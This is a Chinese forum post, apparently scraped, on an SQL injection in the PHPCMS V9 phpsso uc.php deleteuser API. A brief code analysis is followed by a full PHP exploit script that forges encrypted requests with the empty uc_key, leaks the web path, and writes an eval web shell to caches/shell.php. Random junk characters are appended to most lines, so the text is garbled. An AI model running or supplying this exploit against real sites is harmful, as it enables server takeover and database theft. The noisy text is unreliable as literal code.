PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。* {6 L' ^6 G* f4 r
8 ?+ u1 H7 F' X G: X6 T所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
0 V( w, H, H" T2 i1 [, K* i5 |+ z3 ^: S) \4 |' G7 d0 ?5 C( l
漏洞分析:
* W! [" M; z3 ^1.未启用ucenter服务的情况下uc_key为空
0 Y# K/ N$ w7 D. l) vdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));8 l7 z& o" H1 O2 p) z
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。2 G8 o# ^( r! a. T" ~! y3 i
public function deleteuser($get,$post) {/ X' u% r+ R% d" C$ R D: b
pc_base::load_app_func('global', 'admin');
5 F4 q* L. Q, M Q: B) I: p pc_base::load_app_class('messagequeue', 'admin' , 0);: _$ P' E6 C) ?" `8 q
$ids = new_stripslashes($get['ids']);
' a0 }* Q; g( O $s = $this->member_db->select("ucuserid in ($ids)", "uid");
0 X4 j3 p& k; A @) nSQL语句为
$ i. [/ D4 a# Z7 ?7 V3 W* NSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
7 \1 M. ?/ ^! u7 u
, @+ G3 K" ?; A! d, V# j" ^ @) _利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell! b0 j3 U' A1 \! b/ }. @. E& W. `% g
<?php, U) v9 B9 f: l+ d
print_r('' w. A3 s6 C% @9 x% l
---------------------------------------------------------------------------
% h2 q+ W% e# t7 k# E! DPHPcms (v9 or Old Version) uc api sql injection 0day
' w8 v* Y7 H" P; K. x! w6 x' }by rayh4c#80sec.com' U; M8 T& C$ i; g: [% J! O
---------------------------------------------------------------------------1 M7 q4 _" @* z( m o+ j& B
');4 Q) r, p# j: _
5 }, c- e+ U4 Y8 z9 [3 R6 lif ($argc<3) {
/ L3 f* Y Q: p, `) k print_r('
8 Z8 W% I: ?+ H3 ^0 ~/ b$ w6 f---------------------------------------------------------------------------1 p: _2 L; B- ?9 n& ^
Usage: php '.$argv[0].' host path OPTIONS
( h+ p4 B4 t0 ^: q0 L+ D7 Mhost: target server (ip/hostname)
% q7 G. T" O! ?0 y( i( upath: path to phpcms
0 C& |9 z2 T* C: Q( y SOptions:# G! o0 t* P# r
-p[port]: specify a port other than 80
; s, U* P& u H0 Y0 M( A, u+ I -P[ip:port]: specify a proxy( O* k5 ^5 G6 w* y( @$ C
Example:& o& _% Q3 G$ \/ I
php '.$argv[0].' localhost /
. m7 b" T$ c3 |! `php '.$argv[0].' localhost /phpcms/ -p81
2 y g: q: O; D" Y) y& l/ ^( c/ Kphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:805 D1 J- s: c7 J
---------------------------------------------------------------------------8 Q2 F$ a* t* }7 R( r( S D0 z6 K
');
9 A1 D, |$ {0 f! B die;
" Z- K; O* H3 X" ^- ~' T}
: w2 J+ Q4 q+ U$ p5 p( L
- K3 M& y, U. ^& h# werror_reporting(7);# p) j1 q# P; h, Y
ini_set("max_execution_time",0);
, z# @1 n$ E. {8 e6 G& j/ Eini_set("default_socket_timeout",5);! O# f- D( J0 G2 z/ i
7 ^2 j3 B( p) j5 ]function quick_dump($string)
! l# C* M# w1 d/ K8 I{
" Z u9 y6 ~/ i( _4 i0 C0 f $result='';$exa='';$cont=0;/ P7 Q; S8 h- C) Q
for ($i=0; $i<=strlen($string)-1; $i++)8 d1 V2 i0 p6 Y
{
6 U. U% M+ v0 T# f! \2 e' R if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
6 L& Q% V/ d- V5 C# Q% F" a {$result.=" .";}
& D! a! x1 X1 i; z* K4 a9 e else
6 P1 R2 u% I6 T2 { {$result.=" ".$string[$i];}1 v3 H1 j6 Q" I/ P B
if (strlen(dechex(ord($string[$i])))==2)
+ T) ^3 ?, F+ E$ N) X {$exa.=" ".dechex(ord($string[$i]));}5 e$ d( J6 f" O) v) D, D
else
* | ~& R7 O. f! @, A. q9 { {$exa.=" 0".dechex(ord($string[$i]));}
2 V- J/ B4 r' ^+ q# p: M0 z $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
1 ~! Q7 P) Z9 v2 Z" f2 S! N5 }/ }0 o }: ^& }- j9 D6 M" Y$ i& M- d% O
return $exa."\r\n".$result;( i# ~2 M l6 N8 k
}4 B% t+ ^4 W7 X# Y+ @6 Y/ H
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
- g2 @) l8 q0 u* M* z
" c! }: e& c" _" b8 F3 _; J) V Hfunction send($packet)
% a% G/ K$ ~( n0 v{9 P1 X" g9 P' u6 y
global $proxy, $host, $port, $html, $proxy_regex;
8 U9 U! V- ~+ x if ($proxy=='') {
( k4 d& M& b) E. u) N/ R7 } $ock=fsockopen(gethostbyname($host),$port);
1 w! h9 g4 G$ t if (!$ock) {
9 {+ }- i1 `/ {* T" i- Q: ? echo 'No response from '.$host.':'.$port; die;6 c' K" ~9 J* [: K3 x9 R
}: ^3 I6 h# ~: J7 b
}; c- y9 S# A+ v$ [2 z1 Q
else {
0 V; F9 |( w6 X* p2 Y/ F $c = preg_match($proxy_regex,$proxy);. n& q, D. U7 L$ k# D' N
if (!$c) {
) J- M4 B) Q* @8 b2 o0 |, t echo 'Not a valid proxy...';die;
1 Q( `+ c% g0 W" D1 y }+ t" j" t* n8 ], @9 v
$parts=explode(':',$proxy);
+ X; O# e ^+ }! ^/ W $parts[1]=(int)$parts[1];
' P* Z2 \9 [: V echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";% D+ e( j9 S/ X! J
$ock=fsockopen($parts[0],$parts[1]);& b* n5 S0 a: B# d. ]# S/ A% V& B
if (!$ock) {4 d7 C6 u& L/ T* [5 o! u& L9 i& u& g, h
echo 'No response from proxy...';die;
4 c- s1 W5 N& v6 t. M9 x8 y4 @ }
( i4 H. d1 X* V' u- o) \6 A5 G }
* c5 U6 {: x+ [6 L! B fputs($ock,$packet);( H% @3 U l7 z
if ($proxy=='') {
' s+ X9 ^) I0 b }4 H) l* R $html='';
$ h+ ?/ X* d) p6 F5 X/ T while (!feof($ock)) {2 J2 J0 x5 T% s# c8 }' V
$html.=fgets($ock);
% v5 ~8 U: C9 M6 T6 |* O }7 {8 F: O }5 Z% H0 ~$ \4 i( |
}2 k) C- d- W" p+ M- ]- z
else {
7 V0 o c$ H) y4 q- j: z% \ $html='';
# f5 `1 e v" i1 H while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
/ J0 q; {7 ?6 N, H4 w $html.=fread($ock,1);$ h; e+ H$ f4 G" O: ?
}( Y& p3 P! T4 x) G1 u
}, l2 y' d7 x6 C* O
fclose($ock);
: F5 L. j- D$ C7 U6 ^}- l% e, L, u- J: q3 p' @
9 t" N9 E9 | Q8 B) |# v
$host=$argv[1];
- d& |' P! b& S$ C2 c$path=$argv[2];
8 F x' X" F: f. n$port=80;
7 v# _+ w8 Q4 Z2 A$proxy="";0 p9 u' I7 ]9 M( e% M
for ($i=3; $i<$argc; $i++){
8 u$ S7 Q6 [, b0 q8 C1 t! {% I( O$temp=$argv[$i][0].$argv[$i][1];' A4 R9 S/ ~% X5 S& \ V
if ($temp=="-p")$ Q8 r8 u$ Y8 L
{
7 b0 e4 r- b* ]' f $port=(int)str_replace("-p","",$argv[$i]);& `4 d+ R x" w' `, ^$ o. c
}; Y$ |9 ~2 Q6 H. o
if ($temp=="-P"), K$ N8 [$ g1 }! A
{9 Z9 x' }' R1 t1 ]; k
$proxy=str_replace("-P","",$argv[$i]);
; ]& \/ ~% L) b, y}2 q5 {% T. b4 q T, V2 {1 B
}
6 I1 x# {% v" `! ?
. h& V1 z1 c' p' r4 b pif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- Z# d' t) }1 J, Rif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
5 B: f' B# t+ J+ \, f1 X
0 g$ `9 E' M' A7 U/ C6 xfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {' u& p6 U( L: Z# Q- M4 \2 ~
1 f) w' p2 A4 a& ]- S
$ckey_length = 4; l. Z& d; f6 T, ?7 {3 j
6 I5 f l& ]" ^- V" {* W+ J8 V
$key = md5($key ? $key : '');+ m1 |; }; a) b( F
$keya = md5(substr($key, 0, 16));
8 p1 W+ D0 T @2 m $keyb = md5(substr($key, 16, 16));& m3 c8 \8 P( l0 d
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
! e6 n8 |# r( e; D
) C0 J+ Q7 ^ D' e $cryptkey = $keya.md5($keya.$keyc);
0 }5 u9 L9 [- o9 o+ b+ n; B $key_length = strlen($cryptkey);; H. I( g3 F/ _1 l8 w
7 Y8 j' z6 |( y- h; G; w0 v
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;) N) P- Q2 j# H. \6 _6 v7 C% J0 w) N
$string_length = strlen($string);. `- D0 K3 J$ m
1 |, J; d7 V' S. L; R/ ?( F7 ]5 K
$result = '';
% m( n6 u" K# L $box = range(0, 255);& s n! p# g, ~6 d! a" P6 d
" m9 e5 D- v! X( W6 ^% m $rndkey = array();) K) b. [ [: ~4 z
for($i = 0; $i <= 255; $i++) {0 M9 Y- C; U0 G3 z4 C4 `5 f9 S9 P
$rndkey[$i] = ord($cryptkey[$i % $key_length]);2 v- v* e2 `: e! _
}
( F' o2 W {3 B6 @, W1 M+ G x, v( q0 D7 [
for($j = $i = 0; $i < 256; $i++) {! m( q O/ h* w3 h+ W2 _
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
% E7 X$ g+ q3 j) ?8 w $tmp = $box[$i];
' u' C1 g! j$ q- L $box[$i] = $box[$j];
* T- Q% ?% b, T# s" Y7 }6 [- V $box[$j] = $tmp;# e% D" ], Z* d- u3 U
}
% ~& x. f* ^/ z
, i9 c" g: _# f) p) ~1 N+ x3 \& c for($a = $j = $i = 0; $i < $string_length; $i++) {. C9 M& K) u! H, t
$a = ($a + 1) % 256;
! b5 @2 L5 E' M+ N4 ~9 t) w& x3 w $j = ($j + $box[$a]) % 256;
& y, m; q5 u" S a: |, x $tmp = $box[$a];( K( t6 U/ t. N: @& Q7 }
$box[$a] = $box[$j];
3 T$ y" G8 O* P: l9 \ $box[$j] = $tmp;0 f' ~0 C% x! h4 m
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));0 h& y. x" ~. { Q6 u# z
}
# H" l4 h4 [# C$ u' A/ a7 R+ m' R) k1 H/ w+ r) X# ?( O* Z* I
if($operation == 'DECODE') {$ E' C& X& R; \8 J+ p _
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {; ~( }4 O/ z" Z/ m. `2 x4 H3 F
return substr($result, 26);
4 r; y% J/ ^' X. F. {2 R" n } else {5 k- u8 ^" {- ]5 y9 t8 k" O2 _
return '';
' j Y9 b! t; W: T }& j4 G% ^; H `. u6 S! J: O \
} else {
8 M) O ]0 A( e& H+ I% W return $keyc.str_replace('=', '', base64_encode($result));
' z9 U- B" w @' g7 Q, V }
% B' e" Q9 l% V1 J% y/ r6 B6 ? C) d) _' k4 O$ T
}% _: v" y: K! w: Z
0 |. U& F" g4 l8 {7 T" Y# f w$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";3 G, q9 Z w% k; z' r( }1 u0 u
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: _ Z% \$ q% Q1 _3 b+ Eecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
; `5 } C. @+ q1 `( g) I e) h5 D$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
5 z) s% H+ u7 d' g% A3 Y1 K5 r$packet.="User-Agent: Mozilla/5.0\r\n";+ }1 z- o! t' N6 q% i: {
$packet.="Host: ".$host."\r\n";
; {" ?3 v+ b2 Q* J, ] f6 x$packet.="Connection: Close\r\n\r\n";% K1 o0 Z( b; N! m, T
send($packet);
* ^ j# H6 ?5 n1 U S+ ^2 a( |if(strpos($html,"MySQL Errno") > 0){
. c* _/ Q- P. |) o3 techo "[2] 发现存在SQL注入漏洞"."\n";- w, N/ R; I k; C. r
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";% V4 ~' {: _) g- E" W7 s2 c
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";6 Y, L$ G+ q, P3 o* f) d- T
$packet.="User-Agent: Mozilla/5.0\r\n";3 N! h$ E; v6 `" ^: _
$packet.="Host: ".$host."\r\n";
1 B' O/ S) l) F( n$packet.="Connection: Close\r\n\r\n";. z( T) Z3 y/ ^5 t0 [
send($packet);! w$ F) Z4 T1 @9 u( k
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);$ D) b* g0 ^# h+ l
//print_r($matches);- k+ @8 ]1 y) H6 d
if(!empty($matches)){
/ |/ r g0 a7 {echo "[4] 得到web路径 " . $matches[0]."\n";
4 |# s- G+ s9 [+ v1 h8 @echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
8 R3 o! K0 M" k+ \$SQL = "time=999999999999999999999999&ids=1)";% @" M1 _, J9 K% w8 Q$ }1 o
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
7 N5 a; }5 k6 l+ }. x$SQL.="&action=deleteuser";! w+ P0 @' t7 Z, q/ n2 J
$SQL = urlencode(authcode($SQL, "ENCODE", ""));: T9 S" f& n- ~& U
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 |3 d$ \& G: K+ k! L
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";: ^' E# B! V5 P/ _6 g3 J) A
$packet.="User-Agent: Mozilla/5.0\r\n";
# T% R$ z& I/ }2 ~7 g$packet.="Host: ".$host."\r\n";; g5 V% J5 s& Q( C0 R* h" n
$packet.="Connection: Close\r\n\r\n";1 X6 k0 p+ ~$ O; A$ g( J
send($packet);
& T/ m% D* e9 \if(strpos($html,"Access denied") > 0){4 Z5 k/ m2 B: J- y$ p( t
echo "[-] MYSQL权限过低 禁止写入文件 ";* F/ @8 |+ v6 _; C( X6 v) ^
die;9 _1 @ G5 H' l1 z
}
. y* t" m- [4 A. _' U1 n/ kecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";9 A7 A; {+ E) c3 R
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";# k" m' T, K' l+ f3 R# {
$packet.="User-Agent: Mozilla/5.0\r\n";
- F+ W" w+ v% i& k4 p# l$packet.="Host: ".$host."\r\n";
6 c9 m8 B: z/ C: I% a' s8 j/ i$packet.="Connection: Close\r\n\r\n";$ o0 b: J% k6 b/ G8 Q& B
send($packet);1 k; d* _0 ?* }( ~7 m
if(strpos($html,"<title>phpinfo()</title>") > 0){
8 q- a$ T# p6 G. J) h: [- d( v% fecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
6 n' d2 @0 ~8 G}' z7 o- O) ^/ ]3 n) v: K& Q+ W2 {
}else{
5 ?/ q/ A. X% gecho "[-]未取到web路径 ";
4 R! S% `5 z0 p}
* c) J5 f+ ]/ l: ?3 Z0 V- e6 e* @}else{
7 \+ y! T, a6 }( `6 Cecho "[*]不存在SQL注入漏洞"."\n";
" F% `7 Q3 V/ h; ^+ ?1 v& p}+ R* [$ B+ n2 ^, a7 w! k9 y
* ]4 l6 j) ^' W8 P
?>
1 F) U" Z& c! j; P5 k- F1 @& I |